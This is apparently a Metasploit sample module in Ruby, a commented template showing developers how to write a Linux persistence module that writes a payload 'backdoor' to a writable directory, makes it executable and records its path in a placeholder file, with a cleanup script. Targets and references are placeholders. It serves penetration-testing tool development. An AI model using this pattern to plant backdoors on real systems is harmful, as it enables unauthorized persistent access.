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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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###
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#
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# This exploit sample shows how a persistence module could be written
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# for a linux computer.
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#
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###
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
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  # includes: is_root?
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  include Msf::Post::Linux::Priv
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  # includes writable?, upload_file, upload_and_chmodx, exploit_data
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  include Msf::Post::File
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  # includes generate_payload_exe
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  include Msf::Exploit::EXE
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  # includes register_files_for_cleanup
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  include Msf::Exploit::FileDropper
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  # defines install_persistence and does our cleanup
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  # WritableDir
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  include Msf::Exploit::Local::Persistence
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  # runs check automatically
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        # The Name should be just like the line of a Git commit - software name,
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        # vuln type, class. Preferably apply
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        # some search optimization so people can actually find the module.
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        # We encourage consistency between module name and file name.
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        'Name' => 'Sample Linux Persistence',
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        'Description' => %q{
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          This exploit sample shows how a persistence module could be written
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          for a linux computer.
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        },
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        'License' => MSF_LICENSE,
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        # The place to add your name/handle and email.  Twitter and other contact info isn't handled here.
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        # Add reference to additional authors, like those creating original proof of concepts or
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        # reference materials.
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        # It is also common to comment in who did what (PoC vs metasploit module, etc)
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        'Author' => [
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          'h00die <[email protected]>', # msf module
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          'researcher' # original PoC, analysis
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        ],
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        'Platform' => [ 'linux' ],
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        # from underlying architecture of the system.  typically ARCH_X64 or ARCH_X86, but the exploit
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        # may only apply to say ARCH_PPC or something else, where a specific arch is required.
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        # A full list is available in lib/msf/core/payload/uuid.rb
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        'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
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        # What types of sessions we can use this module in conjunction with.  Most modules use libraries
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        # which work on shell and meterpreter, but there may be a nuance between one of them, so best to
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        # test both to ensure compatibility.
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        'SessionTypes' => [ 'meterpreter' ], # @clean_up_rc only works in meterpreter sessions
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        'Targets' => [[ 'Auto', {} ]],
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        # from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
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        # since privilege escalation modules typically result in elevated privileges, this is
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        # generally set to true
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        'Privileged' => true,
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        # Often these have https://attack.mitre.org/techniques/ related to them
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        'References' => [
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          [ 'OSVDB', '12345' ],
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          [ 'EDB', '12345' ],
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          [ 'URL', 'http://www.example.com'],
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          [ 'CVE', '1978-1234'],
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          ['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES], # https://github.com/rapid7/metasploit-framework/pull/20289
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        ],
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        'DisclosureDate' => '2023-11-29',
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        # Note that DefaultTarget refers to the index of an item in Targets, rather than name.
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        # It's generally easiest just to put the default at the beginning of the list and skip this
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        # entirely.
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        'DefaultTarget' => 0,
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        # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [],
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          'SideEffects' => []
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        }
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      )
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    )
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    # force exploit is used to bypass the check command results
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    register_advanced_options [
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      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
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    ]
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  end
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  def check
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    # Check a example app is installed
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    print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
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    return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
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    return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
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    return CheckCode::Safe('example app is required') unless command_exists?('example')
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    CheckCode::Detected('example app is installed')
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  end
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  #
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  # The install_persistence method installs the persistence, starts the handler, and does all
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  # the main activities
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  #
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  def install_persistence
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    file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
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    backdoor = "#{path}/#{file_name}"
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    vprint_status("Writing backdoor to #{backdoor}")
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    # if an arch_cmd payload is selected, write and chmod the file
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    # if an exe payload is selected, write it as an executable file
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    if payload.arch.first == 'cmd'
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      write_file(backdoor, payload.encoded)
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      chmod(backdoor, 0o755)
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    else
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      upload_and_chmodx backdoor, generate_payload_exe
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    end
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    # add removing the file to the cleanup script. The script starts as nil, so we want to overwrite it to a string
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    @clean_up_rc = "rm #{backdoor}\n"
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    # back up an example file that we're going to write into so we can restore it
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    # in our cleanup efforts
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    example_file = read_file('/tmp/example_file')
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    backup_file = store_loot('example.file', 'text/plain', session, example_file, 'example_file', '/tmp/example_file backup')
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    print_status("Created /tmp/example_file backup: #{backup_file}")
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    # @clean_up_rc is our instance variable string that tracks what needs to be done to remove the persistence by the user.
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    @clean_up_rc << "upload #{backup_file} /tmp/example_file\n"
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    write_file('/tmp/example_file', backdoor)
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    # the cleanup script will automatically be printed when the module is finished
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  end
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end
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